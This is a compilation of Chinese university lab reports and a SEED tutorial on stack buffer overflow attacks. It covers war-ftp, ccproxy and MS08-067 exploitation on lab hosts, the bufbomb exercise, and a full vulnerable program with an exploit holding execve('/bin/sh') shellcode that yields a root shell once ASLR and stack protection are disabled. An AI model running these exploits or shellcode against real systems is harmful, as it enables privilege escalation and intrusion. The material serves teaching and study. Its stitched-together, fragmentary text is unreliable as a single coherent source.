SEED信息安全实验系列:缓冲区溢出漏洞实验
- 格式:doc
- 大小:985.50 KB
- 文档页数:6
网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。
过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。
接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。
在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。
其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。
同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。
通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。
Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。
网络攻防对抗实验报告实验名称:缓冲区溢出攻击实验类型:验证型实验指导老师:专业班级:姓名:学号:电子邮件:实验地点:实验日期:年月日实验成绩:一、实验目的通过该实验,认识到缓冲区溢出攻击的原理和危害,建立关注操作系统和应用程序漏洞和升级服务的意识。
通过本次实验,了解缓冲区溢出攻击原理,掌握缓冲区溢出攻击的方法和策略。
二、实验内容1、使用缓冲区溢出攻击工具MS08067对目标主机进行缓冲区溢出攻击三、实验步骤1、在控制台窗口中直接输入命令对目标主机:10.11.1.148进行攻击攻击结果:攻击失败失败原因:目标主机防火墙未关闭2、在控制台窗口中直接输入命令对目标主机:10.11.1.142进行攻击攻击结果:攻击失败失败原因:目标主机已打补丁四、课后作业1、写出实验任务的步骤答:实验任务步骤:1、首先使用缓冲区溢出攻击工具对目标主机进行攻击2、当攻击成功后,使用telnet命令连接目标主机3.、连接目标主机,添加用户4、对刚才添加的用户进行提权2、如何防范缓冲区溢出攻击?1)、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;2)、强制写正确的代码的方法;3)、利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。
4)、在程序指针失效前进行完整性检查五、实验体会1、缓冲区溢出攻击方法原理:缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。
溢出的数据覆盖在合法数据上。
当一个超长的数据进入到缓冲区时,超出部分就会被写入其他缓冲区,其他缓冲区存放的可能是数据、下一条指令的指针,或者是其他程序的输出内容,这些内容都被覆盖或者破坏掉。
这就为缓冲区溢出攻击提供了理论依据。
2、产生缓冲区溢出攻击原因:缓冲区溢出是由编程错误引起的。
如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生。
缓冲区边界检查被认为是不会有收益的管理支出,计算机资源不够或者内存不足是编程者不编写缓冲区边界检查语句的理由,然而摩尔定律已经使这一理由失去了存在的基础,但是多数用户仍然在主要应用中运行十年甚至二十年前的程序代码。
深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:计算机科学与技术指导教师:罗秋明报告人:实验时间:2016年5月8日实验报告提交时间:2016年5月22日教务处制一、实验目标:1.理解程序函数调用中参数传递机制;2.掌握缓冲区溢出攻击方法;3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:1.计算机(Intel CPU)2.Linux64位操作系统(CentOs)3.GDB调试工具4.objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果步骤1 返回到smoke()1.1 解题思路首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。
堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。
由于8888888>1234567,所以值为1。
如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。
不过并不是所有的8个字符都可以。
如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。
观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。
所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。
向password.txt文件里植入二进制的机器码。
调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。
2012-2013学年第2学期《网络安全课程设计》实验报告实验名称:缓冲区溢出——本地缓冲区溢出完成时间: 2014.6.18 姓名:柳鑫学号:110342118指导教师:崔鸿班级:110342A任务一利用跳转指令实现缓冲区溢出本练习单人为一组。
首先使用“快照X”恢复Windows系统环境。
一.溢出程序演示(1)进入实验平台,单击工具栏“演示目录”按钮,进入实验目录。
进入Mission1目录,双击overflow_win.exe,加载ShellCode执行溢出操作。
二.溢出实现本练习操作通过缓冲区溢出来实现弹出消息框(MessageBox对话框)。
针对windows平台实现缓冲区溢出,该实验实现溢出的方式及流程具有着一定的通用性。
我们需要开发实现两部分内容:一部分是漏洞程序overflow,该程序通过memcpy 函数实现缓冲区溢出(添加shellcode的代码到缓冲区中,使缓冲区溢出),当然你也可以通过其它函数实现溢出。
另一部分内容则是生成shellcode,s hellcode是程序溢出后欲执行的指令代码,如通过shellcode实现程序溢出后弹出对话框等功能。
对照图22-2-1,在程序正常执行时,memcpy函数被执行完毕后,指令指针会返回至ret 地址处,继续执行memcpy函数调用处的后续指令;同时,执行完ret指令后ESP指针也会指向堆栈原始区(调用memcpy函数前一时刻的堆栈分布)。
因此,我们可以将溢出代码shellcode存在堆栈原始区,而剩下的工作就是在memcpy执行ret返回时让EIP指针指向原始区(也就是ESP指针指向的地址)即可。
如何通过ret返回地址确定此时的堆栈ESP指针指向呢?在这里采用的方法是通过跳转指令“jmp esp”(无条件跳转至esp指向处执行)。
通过在用户地址空间中查找到包含有“jmp esp”指令的存储地址,用该地址覆盖ret返回地址就可以了。
在具体实现时,我们通过三个步骤完成缓冲区溢出:(1)编写前导码。
华中科技大学计算机学院《信息系统应用安全》实验报告实验名称团队成员:注:团队成员贡献百分比之和为1 教师评语:一.实验环境? 操作系统:windows xp sp3 ? 编译平台:visual c++ 6.0 ? 调试环境:ollydbg二.实验目的1. 掌握缓冲区溢出的原理;2. 掌握缓冲区溢出漏洞的利用技巧;3. 理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤1. 缓冲区溢出漏洞产生的的基本原理和攻击方法? 缓冲区溢出模拟程序由于拷贝字符串时产生缓冲区溢出,用“abcd”字符串的值覆盖了原来eip的值,所以main函数返回时eip指向44434241,引发访问异常。
? 运行命令窗口的shellcode 由于把main函数的返回eip地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。
该shellcode,运行命令窗口。
2. ms06-040 缓冲区溢出漏洞分析和利用? 溢出点定位篇二:缓冲区溢出实验报告缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1. 实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2. 实验工具溢出对象:ccproxy 7.2(1)(2)调试工具:使用vmware虚拟机,安装ccproxy7.2进行实验调试。
3. 实验步骤了解ccproxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。
? 国内非常受欢迎的一款代理服务器软件? 设置简单,使用方便关于ccproxy6.2缓冲区溢出漏洞说明ccproxy在代理telnet协议时,可以接受ping命令ping命令格式:ping hostname\r\n 当hostname的长度大于或者等于1010字节时,ccproxy 6.2会发生缓冲区溢出,导致程序崩溃ccproxy 6.2缓冲区溢出漏洞演示在目标主机运行ccproxy,使用默认设置运行ccproxy的机器ip是192.168.6.132 使用telnet命令连接ccproxy: telnet 192.168. 6.132 23 返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符a(ping aaaaaaaaaa),观察返回信息将字符a的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“host not found”,说明ccproxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明ccproxy已经崩溃ccproxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。
网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理;学会使用Win32平台Shellcode技术。
2、内容及要求以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。
二、仪器用具计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。
三、实验方法与步骤在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。
在server.cpp中能够产生缓冲区溢出的程序片段如下:void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。
由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131运行exploit程序的系统IP地址为:192.168.209.1实验的过程如下:1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示:图 12.在windows2000系统中运行服务程序:server.cppC:\test>server.exe截图如下图2所示:图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序,如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示:图3这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。
信息安全实验⼀:buffer-overflow title: buffer-overflowdate: 2016-01-10 14:17:17categories: information-securitytags: buffer-overflowExcrcise1Now, you can write some code. Your job is to print the address of the variable buffer,in the C program stack1.c, and compile the C program as above.Run it three times,observe and write down the output addresses in address.txt, are these 3 addresses the same or not?打印⾸地址运⾏3次每次地址不同#include <stdlib.h>#include <stdio.h>#include <string.h>void badman(){printf("I am the bad man\n");return;}int func(char *str){int variable_a;char buffer[12];printf("address:%p\n",buffer);strcpy(buffer, str);return 1;}int main(int argc, char **argv){char *buf = "hello\n";if(argc > 1){buf = argv[1];}func(buf);printf("Returned Properly\n");return 1;}Excrcise2Use gdb to debug the program, as the following. You may find the online gdb documentation useful.GDB常见命令打开gdb 调试⼯具:gdb -q(gdb)file stack1 启动待调试程序(gdb)b func 在函数func 处设置断点(gdb)r 运⾏程序(gdb)i r 查看所有寄存器的值(gdb)x/2s 0xbffff3a0 地址0xbffff3a0 开始读取2 个单元字符串内容(默认4 字节,以下相同)(gdb)p &buffer 打印变量buffer[]⾸地址(gdb)x/4wx 0xbffff3a0 地址0xbffff3a0 开始读取4 个单元、以4 字节为单位、以16 进制显⽰内容(gdb)x/8wx $ebp 寄存器ebp 开始读取8 个单元、以4 字节为单位、以16 进制显⽰内容(gdb)x/2i 0x08048443 查看地址0x08048443 开始2 个单元指令(gdb)disass func 查看函数func 的汇编代码(gdb)q 退出使⽤GDB调试⽰例:$ gdb stack1(gdb) b funcBreakpoint 1 at 0x8048412: file stack.c, line 8.(gdb) rStarting program: /tmp/stack18 strcpy(buffer,str);(gdb) info reax 0x80484e8 134513896ecx 0xbffff504 -1073744636edx 0xbffff494 -1073744748ebx 0xb7fc8000 -1208188928esp 0xbffff410 0xbffff410ebp 0xbffff438 0xbffff438esi 0x0 0edi 0x0 0eip 0x8048412 0x8048412eflags 0x282 [ SF IF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/2s 0x80484e80x80484e8: "I am greater than 12 bytes"0x8048503: ""(gdb) p &buffer$1 = (char (*)[12]) 0xbffff424(gdb) x/4wx 0xbffff4240xbffff424: 0x08048320 0x00000000 0x080482bd 0xb7fc83e4(gdb) x/8wx $ebp0xbffff438: 0xbffff468 0x08048443 0x080484e8 0xbffff5040xbffff448: 0xbffff50c 0xb7e54225 0xb7fed280 0x00000000(gdb) x/2i 0x080484430x8048443 : leave0x8048444 : ret(gdb) disass funcDump of assembler code for function func:0x0804840c : push %ebp0x0804840d : mov %esp,%ebp0x0804840f : sub $0x28,%esp0x08048412 : mov 0x8(%ebp),%eax0x08048415 : mov %eax,0x4(%esp)Exercise3Turn off the address space layout randomization, and then do exercise 1 again,write down the three addresses in args.txt, are those three addresses same or not?关闭地址随机化多次打印变量缓冲区地址相同sysctl -w kernel.randomize_va_space=0Exercise4A buffer overflow occurs when data written to a buffer exceeds the length of the buffer,so that corrupting data values in memory addresses adjacent the end of the buffer.This often occurs when copying data into a buffer without sufficient bounds checking.You can refer to Aleph One’s famous article to figure out how buffer overflows work.Now, you run the program stack1, just like below.$ ./stack1 aaaaaaaaaaReturned Properly$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSegmentation faultIf you don’t observe Segmentation fault, just increase the number of the input as.Here, the message Segmentation fault indicates that your program crashed due to invalid memory access (for instance, refer to memory address 0).Exercise4Use gdb, to print the value of the register %eip when the program crashes.How does the program run to this address?程序执⾏时传⼊参数aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa得出程序崩溃时%eip 的值为0x61由于传⼊的参数长度超过了buffer 缓冲区的⼤⼩,在进⾏字符串复制的时候,buffer[]不⾜以容纳传⼊的字符串aaaaaaaaaaaaaaaaaaa,导致了缓冲区溢出。
缓冲区溢出漏洞攻击初探作者:宋春来源:《电子技术与软件工程》2016年第16期摘要本文详细描述和分析了缓冲区溢出攻击的原理,然后就如何对缓冲区溢出攻击漏洞构造攻击程序进行了详细的分析。
【关键词】缓冲区溢出栈溢出攻击 Shellcode在Internet高度普及的今天,缓冲区溢出漏洞作为最常见的软件安全漏洞,是黑客攻击中经常利用的一个漏洞。
通过利用溢出漏洞,攻击者可以使被攻击的主机改变原代码的执行流程,转而执行攻击者构造的恶意代码。
前些年,缓冲区溢出攻击一度占到了网络攻击总量的百分之五十以上,只是近年来软件厂商逐渐加强了操作系统和应用软件的安全建设,采用了一些DEP、ASLR等对抗措施,才使得缓冲区溢出漏洞呈现逐年减少的趋势,但在企业内网中,缓冲区溢出漏洞仍然普遍存在。
因此,依然有必要对缓冲区溢出漏洞进行一些研究,从而开展有效的防范措施。
1 缓冲区溢出漏洞定义及原理1996年,Aleph One在Phrack杂志发表的“Smashing the Stack for Fun and Profit”是缓冲区溢出的经典之作,第一次详细地介绍了缓冲区溢出产生的原理和利用方法。
缓冲区溢出漏洞攻击是指攻击者通过在缓冲区写入超过预定长度的数据造成所谓的溢出,破坏了堆栈的原有数据结构,使程序的返回地址发生变化,使它指向溢出程序中恶意代码,这样就达到了攻击者的目的。
常见的缓冲区溢出漏洞包括栈溢出和堆溢出漏洞,本文主要结合实验简要分析栈溢出的攻击原理。
要充分理解缓冲区溢出漏洞的基本原理,就要从理解系统的内存结构开始。
系统的内存结构主要包含有text、data、bss、heap和stack等区段。
其中,代码text区,是由程序的代码段,为只读数据,任何对其写入的操作都会导致段错误(segmentation violation);而bss 和data 都是可写的,它们保存全局变量,data 段包含已初始化的静态变量,而bss 包含未初始化的数据;heap是堆区,stack是栈区。
深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:指导教师:罗秋明报告人:学号:班级:实验时间:2017年5月12日实验报告提交时间:2017年5月31日教务处制一、实验目标:1.理解程序函数调用中参数传递机制;2.掌握缓冲区溢出攻击方法;3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:1.计算机(Intel CPU)2.Linux32位操作系统(Ubuntu 16.04)3.GDB调试工具4.objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.pptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果首先是makecookie:步骤1 返回到smoke()1.1解题思路步骤1是要修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。
只需构造一段字符串让Gets()全部拷贝到buf数组了,从而造成缓冲区溢出。
一、实验目的1. 了解溢出的概念和产生原因;2. 掌握溢出攻击的原理和常见类型;3. 熟悉溢出漏洞的检测和防护方法。
二、实验环境1. 操作系统:Windows 10;2. 编程语言:C/C++;3. 编译器:MinGW;4. 虚拟机:VMware Workstation。
三、实验原理溢出(Buffer Overflow)是指当向缓冲区写入数据时,超出了缓冲区的实际容量,导致数据覆盖到相邻内存区域的现象。
当溢出的数据覆盖到关键数据结构或返回地址时,攻击者可以利用这一漏洞执行任意代码,从而实现攻击。
四、实验步骤1. 编写溢出程序```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);return 0;}```2. 生成可执行文件在MinGW环境下,使用gcc编译器编译程序:```bashgcc -o overflow overflow.c```3. 运行溢出程序运行编译好的程序,输入超过缓冲区大小的字符串:```bash./overflow```4. 分析溢出过程当输入超过缓冲区大小的字符串时,溢出的数据会覆盖到相邻内存区域,包括返回地址。
攻击者可以通过构造特定的字符串,修改返回地址,使其指向恶意代码的地址,从而实现攻击。
5. 编写漏洞检测代码```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);printf("Return address: %p\n", &input);return 0;}```运行漏洞检测代码,观察返回地址是否被覆盖:```bash./overflow```6. 防护溢出漏洞1) 使用安全的字符串处理函数,如strncpy、strncat等,限制写入数据的长度;2) 使用栈保护技术,如堆栈标记、堆栈守卫等,防止溢出数据覆盖返回地址;3) 使用地址空间布局随机化(ASLR)技术,增加攻击难度;4) 使用编译器提供的栈保护选项,如gcc的-fstack-protector选项。
缓冲区溢出是一种常见的安全漏洞,攻击者利用缓冲区溢出使程序崩溃或执行恶意代码。
以下是缓冲区溢出漏洞的原理和攻击步骤:1. 缓冲区溢出:缓冲区是一种存储数据的地方,当输入的数据长度超过缓冲区的长度时,就会发生缓冲区溢出。
攻击者通常会利用缓冲区溢出漏洞来向程序写入任意数据,包括恶意代码。
2. 栈溢出:栈溢出是缓冲区溢出的一个特殊情况,当程序在堆栈上分配内存时,如果输入的数据长度超过堆栈的大小,就会发生栈溢出。
栈溢出通常发生在函数调用或跳转时,当函数调用时,栈指针会指向函数的返回地址和参数列表,如果输入的数据长度超过堆栈的大小,就会覆盖函数的返回地址和参数列表,使程序崩溃或执行恶意代码。
3. 堆溢出:堆溢出是缓冲区溢出的另一个特殊情况,当程序在堆上分配内存时,如果输入的数据长度超过堆的大小,就会发生堆溢出。
堆溢出通常发生在动态分配内存时,当程序动态分配内存时,堆指针会指向一个空闲的内存块,如果输入的数据长度超过堆的大小,就会覆盖堆指针,使程序崩溃或执行恶意代码。
4. 溢出攻击:攻击者通常会利用缓冲区溢出漏洞来向程序写入任意数据,包括恶意代码。
攻击者可能会通过Web攻击、命令执行攻击、DLL注入攻击等手段来实现。
5. 命令执行攻击:命令执行攻击是攻击者利用缓冲区溢出漏洞来执行恶意命令的攻击。
攻击者通常会利用命令执行漏洞来向程序写入任意命令,包括系统命令和恶意代码。
6. 注入攻击:注入攻击是攻击者利用缓冲区溢出漏洞来注入恶意代码的攻击。
攻击者通常会利用SQL注入、XML注入等手段来实现。
7. 代码执行攻击:代码执行攻击是攻击者利用缓冲区溢出漏洞来执行恶意代码的攻击。
攻击者通常会利用Shellshock、Code Red等漏洞来实现。
总之,缓冲区溢出漏洞是一种常见的安全漏洞,攻击者可以利用它来执行恶意代码或使程序崩溃。
程序员应该加强代码的安全性,避免缓冲区溢出漏洞的发生。
缓冲区溢出漏洞实验一、实验描述缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。
这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西:sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev2、输入命令“linux32”进入32位linux环境。
此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:三、实验步骤3.1 初始设置Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。
因此本次实验中,我们使用以下命令关闭这一功能:sudo sysctl -w kernel.randomize_va_space=0此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。
因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。
为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。
下面的指令描述了如何设置zsh程序:sudo sucd /binrm shln -s zsh shexit3.2 shellcode一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
观察以下代码:#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}本次实验的shellcode,就是刚才代码的汇编版本:\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x803.3 漏洞程序把以下代码保存为“stack.c”文件,保存到/tmp 目录下。
代码如下:/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[12];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。
命令如下:sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexitGCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。
而-z execstack 用于允许执行栈。
3.4 攻击程序我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到/tmp 目录下。
代码如下:/* exploit.c *//* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>char shellcode[]="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv){char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x 90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:gdb stackdisass main结果如图:接下来的操作:根据语句strcpy(buffer+100,shellcode); 我们计算shellcode的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)现在修改exploit.c文件!将\x??\x??\x??\x?? 修改为\x14\xd2\xff\xff然后,编译exploit.c程序:gcc -m32 -o exploit exploit.c3.5 攻击结果先运行攻击程序exploit,再运行漏洞程序stack,观察结果:可见,通过攻击,获得了root权限!如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
四、练习1、按照实验步骤进行操作,攻击漏洞程序并获得root权限。
2、通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。
3、将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root 权限。
以上练习请在实验楼环境完成并截图。
License本课程所涉及的实验来自Syracuse SEED labs,并在此基础上为适配实验楼网站环境进行修改,修改后的实验文档仍然遵循GNU Free Documentation License。
本课程文档github链接:https:///shiyanlou/seedlab附Syracuse SEED labs版权声明:Copyright Statement Copyright 2006 –2014 Wenliang Du, SyracuseUniversity. The development of this document is funded by theNational Science Foundation’s Course, Curriculum, and LaboratoryImprovement (CCLI) program under Award No. 0618680 and0231122. Permission is granted to copy, distribute and/or modifythis document under the terms of the GNU Free DocumentationLicense, Version 1.2 or any later version published by the FreeSoftware Foundation. A copy of the license can befoundat /licenses/fdl.html.本文详细出自实验楼官方网站,转载请注明出处。